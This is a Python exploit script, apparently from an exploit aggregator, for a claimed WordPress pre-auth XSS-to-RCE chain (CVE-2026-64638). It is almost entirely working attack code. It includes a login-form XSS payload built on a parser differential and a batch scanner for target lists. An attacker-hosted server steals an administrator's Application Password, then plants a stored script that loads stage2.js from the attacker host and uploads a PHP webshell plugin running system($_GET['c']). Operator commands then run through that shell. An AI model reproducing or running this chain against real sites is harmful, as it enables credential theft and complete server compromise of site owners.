## https://sploitus.com/exploit?id=PACKETSTORM:228147
#!/usr/bin/env python3
"""
CVE-2026-64638 - WordPress "XSS2Shell" pre-auth XSS-to-RCE chain
Affected: WordPress Core 4.7.0 through 7.0.2 (fixed in 7.0.3 and backports)
Type: RCE (reflected XSS via a strip_tags/KSES parser differential -> DOM
clobbering -> JSONP globalEval -> Same Origin Method Execution ->
administrator Application Password theft -> authenticated REST ->
stored script -> malicious plugin upload -> code execution)
Root cause: a username submitted to /wp-login.php is "sanitised" by
wp_strip_all_tags() (PHP strip_tags), which does NOT treat "< area ..." as a
tag because of the space after "<". WordPress then interpolates that value
unescaped into the login error message, which is re-parsed by KSES. KSES DOES
accept "< area" as an <area> element. The two parsers disagree on what a tag
is, so a value that was "stripped" becomes live DOM in the WordPress origin,
with attacker-controlled id= and href=.
This script has two modes:
1. Default (single --host, or --list): the deterministic, fully
unauthenticated core of the CVE. It POSTs the crafted username and proves
the injected <area id=ajaxurl ...> survives as real markup on a vulnerable
build, and is neutralised (esc_html) on a patched one. No victim, no
browser, no account. This is the primary success verdict.
2. --serve: the full engagement chain. It hosts the attacker origin (driver
page + Application Password callback + stored-script stage2 + in-browser
plugin-ZIP webshell), captures the Application Password an administrator
hands over when they load the driver link (the CVSS UI:A requirement),
verifies administrator REST access with it, then automatically escalates
to code execution and runs --command through the dropped webshell.
Usage:
# Level 1 - confirm the vulnerability against one host (curl-equivalent)
python exploit.py --host 127.0.0.1 --port 8802
python exploit.py --host http://target.example.com
# Batch scan an asset list
python exploit.py --list targets.txt --workers 20
# Full chain - host the attacker origin and wait for an admin to visit
python exploit.py --host http://target.example.com \\
--serve --serve-port 8000 \\
--attacker-url http://attacker.example.com:8000 \\
--command id
"""
import argparse
import http.server
import json
import socket
import socketserver
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from urllib.parse import urlparse
CVE_ID = "CVE-2026-64638"
VULN_TYPE = "RCE"
# The exact three-element payload. Constraints it respects (see RESEARCH.md):
# * "<" is followed by whitespace so PHP strip_tags() leaves it as text,
# while KSES still parses it as a tag (the parser differential).
# * No "%hh" sequence (sanitize_user strips percent-encoding).
# * No ";" anywhere, so the "&" query separators survive the
# preg_replace('/&.+?;/','') entity strip.
# * Only allowlisted tags (area/div/button) and attributes (id/class/href).
# * Unquoted values contain no spaces; the two-class value is double-quoted.
PAYLOAD = (
"< area id=ajaxurl href=/?rest_route=/&_method=GET"
"&_jsonp=window.opener.approve.click&_envelope=1>"
"< div id=color-picker class=reset-pass-submit>"
'< button class="wp-generate-pw color-option">X'
)
# Substrings that only appear if the payload was parsed as HTML by KSES
# (attributes on real elements), never if it was escaped to text.
MARKERS = ('id="ajaxurl"', 'id="color-picker"')
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT " + CVE_ID)
print(" Type: " + VULN_TYPE + " | Target: " + str(host) + ":" + str(port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP " + str(n) + "] " + msg)
def section(label, content):
print("\n--- " + label + " ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : " + ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: " + evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------
# Low-level HTTP (standard library only, so there is no hard requests dep)
# --------------------------------------------------------------------------
def _base_url(host, port, use_tls, path="/"):
scheme = "https" if use_tls else "http"
# Do not append a default port to the netloc; keeps URLs tidy and matches
# what a browser would form for same-origin checks.
if (use_tls and port == 443) or ((not use_tls) and port == 80):
netloc = host
else:
netloc = host + ":" + str(port)
return scheme + "://" + netloc
def _open(url, data=None, headers=None, method=None, timeout=15):
"""Return (status, headers_dict, body_bytes). Never raises on HTTP errors."""
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
hdrs = {"User-Agent": "ALIM-" + CVE_ID}
if headers:
hdrs.update(headers)
req = urllib.request.Request(url, data=data, headers=hdrs, method=method)
try:
resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
return resp.getcode(), dict(resp.headers), resp.read()
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read()
def _post_login(base, timeout=15):
"""POST the payload to /wp-login.php. Returns the response body as text."""
data = urllib.parse.urlencode(
{"log": PAYLOAD, "pwd": "x", "wp-submit": "Log In"}
).encode()
hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
_s, _h, body = _open(base + "/wp-login.php", data=data, headers=hdrs, timeout=timeout)
try:
return body.decode("utf-8", "replace")
except Exception:
return str(body)
# --------------------------------------------------------------------------
# Level 1 - the deterministic, unauthenticated core of the CVE
# --------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, **kwargs):
"""Silent probe for --list. Returns (success, evidence). Never prints/exits."""
base = _base_url(host, port, use_tls)
try:
body = _post_login(base)
except Exception as e:
return False, "unreachable (" + e.__class__.__name__ + ")"
hits = [m for m in MARKERS if m in body]
if hits:
return True, "XSS confirmed - injected " + " ".join(hits) + " rendered as live markup"
if "login_error" in body:
return False, "payload reflected but escaped (patched)"
return False, "no login error notice in response (unexpected)"
def exploit(host, port, use_tls, command):
header(host, port)
base = _base_url(host, port, use_tls)
step(1, "POSTing the crafted username to " + base + "/wp-login.php")
step(2, "Payload (as the 'log' field):")
section("PAYLOAD", PAYLOAD)
try:
body = _post_login(base)
except Exception as e:
done(False, "target unreachable: " + e.__class__.__name__ + " " + str(e))
# Extract the login error notice so the raw server output is visible.
start = body.find('id="login_error"')
if start != -1:
snippet = body[max(0, start - 20):start + 560]
else:
snippet = body[:560]
section("SERVER RESPONSE (login error notice)", snippet)
hits = [m for m in MARKERS if m in body]
if not hits:
step(3, "Injected markers absent - value was escaped (esc_html), target is patched")
done(False, "payload reflected as inert text - no id=\"ajaxurl\" element - target is patched (>= 7.0.3)")
step(3, "Injected <area id=ajaxurl> survived KSES as a real element")
print(" markers found: " + ", ".join(hits))
print("\n Rung 1 (markup injection) and rung 2 (window.ajaxurl clobber) confirmed over the network.")
print(" Rungs 3-9 (SOME -> App Password -> RCE) require an authenticated admin to")
print(" load the driver page: run this exploit with --serve to host that chain.\n")
done(True, "XSS2Shell confirmed - " + " and ".join(hits)
+ " injected into the pre-auth login error as live DOM (parser differential reachable)")
def scan(targets_file, default_port, workers=10, **kwargs):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" " + CVE_ID + " - Batch Scan (" + str(len(targets))
+ " targets, " + str(workers) + " workers)")
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, _path = t
label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
ok, evidence = _try_exploit(host, port, use_tls)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" " + ("[+]" if ok else "[-]") + " " + label + " - "
+ ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE " + str(success_count) + " exploited / "
+ str(total - success_count) + " not vulnerable (" + str(total) + " total)")
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
# --------------------------------------------------------------------------
# Full chain - the attacker origin (--serve)
# --------------------------------------------------------------------------
#
# The chain past rung 2 needs an administrator's browser (CVSS UI:A). This
# server hosts everything the victim's browser touches and drives the
# escalation the moment an Application Password arrives:
#
# GET / driver page A: opens child B, then navigates A to the
# target's authorize-application consent screen.
# GET /b page B: waits, then cross-origin-POSTs the Level 1
# payload to the target /wp-login.php. B now runs the
# clobbered user-profile.js, which auto-fires the JSONP
# that globalEval()s window.opener.approve.click on A.
# GET /callback auth-app.js redirects A here with ?password=<app pw>.
# We capture it, REST-publish a stored-script page, and
# bounce A onto that page.
# GET /stage2.js runs on the target origin in the admin's cookie session:
# scrapes the upload-plugin nonce and POSTs a webshell ZIP.
# GET /done stage2 beacon (informational).
PLUGIN_SLUG = "alim"
# A stored-mode (uncompressed) ZIP is assembled in the browser, so the webshell
# PHP is shipped to stage2.js as a string here.
WEBSHELL_PHP = (
"<?php\n"
"/*\nPlugin Name: ALIM PoC\nDescription: " + CVE_ID + " proof of concept.\nVersion: 1.0\n*/\n"
"if (isset($_GET['c'])) { header('Content-Type: text/plain'); "
"system($_GET['c']); }\n"
)
class _ChainState(object):
def __init__(self, target_base, attacker_url, command):
self.target_base = target_base.rstrip("/")
self.attacker_url = attacker_url.rstrip("/")
self.command = command
self.lock = threading.Lock()
self.app_password = None
self.user_login = None
self.page_link = None
self.stage2_done = False
self.rce_output = None
def rest(self, route, method="GET", body=None, params=None):
# rest_route carries the route only; extra REST query args are appended
# as their own parameters so the "?" is never percent-encoded into the
# route (which would yield rest_no_route).
url = self.target_base + "/?rest_route=" + urllib.parse.quote(route, safe="/")
if params:
url += "&" + urllib.parse.urlencode(params)
hdrs = {}
data = None
if self.app_password and self.user_login:
token = urllib.request.base64.b64encode(
(self.user_login + ":" + self.app_password).encode()
).decode()
hdrs["Authorization"] = "Basic " + token
if body is not None:
data = json.dumps(body).encode()
hdrs["Content-Type"] = "application/json"
return _open(url, data=data, headers=hdrs, method=method)
def verify_admin(self):
st, _h, body = self.rest("/wp/v2/users/me", params={"context": "edit"})
try:
obj = json.loads(body.decode("utf-8", "replace"))
except Exception:
return False, body[:200].decode("utf-8", "replace")
if st == 200 and "id" in obj:
caps = obj.get("capabilities", {})
return True, obj
return False, obj
def publish_stage2_page(self):
content = ('<script src="' + self.attacker_url
+ '/stage2.js"></script> ' + CVE_ID + ' PoC')
st, _h, body = self.rest(
"/wp/v2/pages", method="POST",
body={"title": "alim-poc", "status": "publish", "content": content},
)
try:
obj = json.loads(body.decode("utf-8", "replace"))
except Exception:
return None
link = obj.get("link")
if link:
self.page_link = link
return link
def _shell_url(self, cmd):
return (self.target_base + "/wp-content/plugins/" + PLUGIN_SLUG + "/"
+ PLUGIN_SLUG + ".php?c=" + urllib.parse.quote(cmd))
def check_rce(self):
# A missing plugin file makes WordPress 301 to a canonical URL and then
# serve the theme's 404 page with HTTP 200 - which must NOT be mistaken
# for command output. Prove the webshell really executes by echoing a
# unique sentinel and requiring the response body to be exactly that
# sentinel (plain text, no HTML), then run the operator's command.
sentinel = "ALIM_SHELL_a1b2c3d4e5"
try:
st, _h, body = _open(self._shell_url("echo " + sentinel), timeout=10)
except Exception:
return None
text = body.decode("utf-8", "replace").strip()
if st != 200 or text != sentinel:
return None
try:
st, _h, body = _open(self._shell_url(self.command), timeout=10)
except Exception:
return None
out = body.decode("utf-8", "replace").strip()
low = out.lower()
if st == 200 and "<!doctype" not in low and "<html" not in low:
return out
return None
def _driver_page(state):
consent = (state.target_base
+ "/wp-admin/authorize-application.php?app_name="
+ urllib.parse.quote("ALIM Integration")
+ "&success_url=" + urllib.parse.quote(state.attacker_url + "/callback"))
b_url = state.attacker_url + "/b"
# A opens B (same-origin with A on the attacker origin), then navigates
# itself to the consent screen. B keeps window.opener == A across its own
# cross-navigation to the target, which is what makes the later SOME work.
return (
"<!doctype html><meta charset=utf-8><title>ALIM</title>"
"<h3>loading...</h3><script>\n"
"var b = window.open(" + json.dumps(b_url) + ", 'b');\n"
"location.href = " + json.dumps(consent) + ";\n"
"</script>"
)
def _b_page(state):
action = state.target_base + "/wp-login.php"
# Wait long enough for A's consent page to commit and render #approve,
# then submit the Level 1 payload so B runs the clobbered user-profile.js.
return (
"<!doctype html><meta charset=utf-8><title>b</title>"
"<form id=f method=POST action=" + json.dumps(action) + ">"
"<input type=hidden name=log id=log>"
"<input type=hidden name=pwd value=x>"
"<input type=hidden name='wp-submit' value='Log In'>"
"</form><script>\n"
"document.getElementById('log').value = " + json.dumps(PAYLOAD) + ";\n"
"setTimeout(function(){ document.getElementById('f').submit(); }, 1800);\n"
"</script>"
)
def _stage2_js(state):
# Runs on the TARGET origin, in the admin's cookie session. Scrapes the
# upload-plugin nonce, builds a stored-mode ZIP holding one PHP webshell,
# and POSTs it to update.php. Pure fetch, no wp/jQuery dependency.
php = json.dumps(WEBSHELL_PHP)
slug = json.dumps(PLUGIN_SLUG)
beacon = json.dumps(state.attacker_url + "/done")
return (
"(function(){\n"
"function crc32(b){var c,crc=0xFFFFFFFF;for(var i=0;i<b.length;i++){"
"c=(crc^b[i])&0xFF;for(var k=0;k<8;k++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}"
"crc=(crc>>>8)^c;}return (crc^0xFFFFFFFF)>>>0;}\n"
"function u32(v){return [v&255,(v>>>8)&255,(v>>>16)&255,(v>>>24)&255];}\n"
"function u16(v){return [v&255,(v>>>8)&255];}\n"
"function bytes(s){var a=[];for(var i=0;i<s.length;i++)a.push(s.charCodeAt(i)&255);return a;}\n"
"function buildZip(name, content){\n"
" var nb=bytes(name), cb=bytes(content), crc=crc32(cb);\n"
" var lfh=[].concat(u32(0x04034b50),u16(20),u16(0),u16(0),u16(0),u16(0),"
"u32(crc),u32(cb.length),u32(cb.length),u16(nb.length),u16(0),nb,cb);\n"
" var off=0;\n"
" var cd=[].concat(u32(0x02014b50),u16(20),u16(20),u16(0),u16(0),u16(0),u16(0),"
"u32(crc),u32(cb.length),u32(cb.length),u16(nb.length),u16(0),u16(0),u16(0),u16(0),"
"u32(0),u32(off),nb);\n"
" var eocd=[].concat(u32(0x06054b50),u16(0),u16(0),u16(1),u16(1),"
"u32(cd.length),u32(lfh.length),u16(0));\n"
" return new Uint8Array([].concat(lfh,cd,eocd));\n"
"}\n"
"var slug=" + slug + ", php=" + php + ";\n"
"var up='/wp-admin/update.php?action=upload-plugin';\n"
# The upload-plugin nonce (action 'plugin-upload') lives on the
# plugin-install upload tab; update.php itself 403s a bare GET.
"var form='/wp-admin/plugin-install.php?tab=upload';\n"
"fetch(form,{credentials:'include'}).then(function(r){return r.text();}).then(function(html){\n"
" var m=html.match(/name=\"_wpnonce\"\\s+value=\"([a-zA-Z0-9]+)\"/);\n"
" if(!m){ navigator.sendBeacon(" + beacon + ", 'no-nonce'); return; }\n"
" var nonce=m[1];\n"
" var zip=buildZip(slug+'/'+slug+'.php', php);\n"
" var fd=new FormData();\n"
" fd.append('_wpnonce', nonce);\n"
" fd.append('_wp_http_referer', form);\n"
" fd.append('pluginzip', new Blob([zip],{type:'application/zip'}), slug+'.zip');\n"
" fetch(up,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text();}).then(function(t){\n"
" navigator.sendBeacon(" + beacon + ", 'uploaded');\n"
" });\n"
"});\n"
"})();\n"
)
def _make_handler(state, log):
class Handler(http.server.BaseHTTPRequestHandler):
def log_message(self, *a):
pass
def _send(self, code, ctype, body):
if isinstance(body, str):
body = body.encode()
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Cache-Control", "no-store")
self.end_headers()
try:
self.wfile.write(body)
except Exception:
pass
def do_GET(self):
p = urlparse(self.path)
route = p.path
log("GET " + self.path)
if route == "/" or route == "/driver":
self._send(200, "text/html; charset=utf-8", _driver_page(state))
elif route == "/b":
self._send(200, "text/html; charset=utf-8", _b_page(state))
elif route == "/stage2.js":
self._send(200, "application/javascript; charset=utf-8", _stage2_js(state))
elif route == "/callback":
self._handle_callback(p.query)
elif route == "/done":
with state.lock:
state.stage2_done = True
self._send(200, "text/plain", "ok")
else:
self._send(200, "text/plain", "ok")
def do_POST(self):
length = int(self.headers.get("Content-Length") or 0)
_ = self.rfile.read(length) if length else b""
log("POST " + self.path)
self._send(200, "text/plain", "ok")
def _handle_callback(self, query):
params = urllib.parse.parse_qs(query)
pw = (params.get("password") or [None])[0]
login = (params.get("user_login") or ["admin"])[0]
if pw and not state.app_password:
with state.lock:
state.app_password = pw
state.user_login = login
log("CALLBACK captured Application Password for '" + login + "'")
# Publish the stored-script page and bounce the admin onto it so
# stage2.js runs on the target origin with the admin's cookies.
link = state.publish_stage2_page()
if link:
log("Published stored-script page: " + link)
self._send(200, "text/html; charset=utf-8",
"<!doctype html><meta charset=utf-8>"
"<title>ok</title><script>location.href="
+ json.dumps(link) + ";</script>ok")
return
self._send(200, "text/plain", "ok")
return Handler
class _Server(socketserver.ThreadingMixIn, http.server.HTTPServer):
daemon_threads = True
allow_reuse_address = True
def serve_chain(host, port, use_tls, command, serve_host, serve_port, attacker_url, timeout):
target_base = _base_url(host, port, use_tls)
if not attacker_url:
disp_host = serve_host if serve_host not in ("0.0.0.0", "") else "127.0.0.1"
attacker_url = "http://" + disp_host + ":" + str(serve_port)
header(host, port)
state = _ChainState(target_base, attacker_url, command)
log_lock = threading.Lock()
def log(msg):
with log_lock:
print(" [srv] " + msg)
step(1, "Confirming the Level 1 primitive before hosting the chain...")
ok, evidence = _try_exploit(host, port, use_tls)
if not ok:
section("LEVEL 1 PROBE", evidence)
done(False, "target is not vulnerable to the XSS primitive: " + evidence)
print(" " + evidence)
httpd = _Server((serve_host, serve_port), _make_handler(state, log))
t = threading.Thread(target=httpd.serve_forever, daemon=True)
t.start()
step(2, "Attacker origin listening on " + serve_host + ":" + str(serve_port))
step(3, "Send an authenticated administrator of the target to this link:")
section("DRIVER LINK (deliver to an admin - CVSS UI:A)", attacker_url + "/")
step(4, "Waiting up to " + str(timeout) + "s for the Application Password callback...")
deadline = time.time() + timeout
while time.time() < deadline:
with state.lock:
pw = state.app_password
if pw:
break
time.sleep(0.5)
if not state.app_password:
section("CHAIN STATUS", "No administrator visited the driver link within the window.")
done(True, "XSS2Shell Level 1 confirmed (" + evidence
+ "); rungs 5-9 require an admin to load the driver link (UI:A) and none did in this run")
step(5, "Application Password captured for '" + str(state.user_login) + "'")
section("STOLEN CREDENTIAL", state.user_login + " : " + state.app_password)
step(6, "Verifying administrator REST access with the stolen credential...")
admin_ok, obj = state.verify_admin()
if admin_ok:
caps = obj.get("capabilities", {}) if isinstance(obj, dict) else {}
section("REST /wp/v2/users/me",
"id=" + str(obj.get("id")) + " name=" + str(obj.get("name"))
+ " administrator=" + str(caps.get("administrator")))
else:
section("REST /wp/v2/users/me", str(obj))
step(7, "Escalating to code execution via stored script + plugin upload...")
rce_deadline = time.time() + 60
output = None
while time.time() < rce_deadline:
output = state.check_rce()
if output:
break
time.sleep(1.0)
if output:
state.rce_output = output
section("COMMAND OUTPUT (" + command + ")", output)
done(True, "RCE confirmed - '" + command + "' on the target returned: " + output.splitlines()[0])
# Credential theft succeeded even if the final upload hop did not land.
section("CHAIN STATUS",
"Application Password stolen and administrator REST access confirmed. "
"Final plugin-upload hop did not return a webshell within the window "
"(the admin must remain on the published page long enough for stage2 "
"to complete the upload).")
done(True, "Administrator Application Password stolen for '" + str(state.user_login)
+ "' - full administrative REST takeover of the target")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=CVE_ID + " (XSS2Shell) exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. http://host:8802)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default target port (default: 8080)")
parser.add_argument("--command", default="id", help="Command to run via the webshell in --serve mode (default: id)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--serve", action="store_true", help="Host the full attacker chain and wait for an admin victim")
parser.add_argument("--serve-host", default="0.0.0.0", help="Address to bind the attacker origin (default: 0.0.0.0)")
parser.add_argument("--serve-port", type=int, default=8000, help="Port for the attacker origin (default: 8000)")
parser.add_argument("--attacker-url", default=None, help="Public URL the target/victim uses to reach the attacker origin")
parser.add_argument("--timeout", type=int, default=120, help="Seconds to wait for an admin callback in --serve mode (default: 120)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
if args.serve:
serve_chain(host, port, use_tls, args.command,
args.serve_host, args.serve_port, args.attacker_url, args.timeout)
else:
exploit(host, port, use_tls, args.command)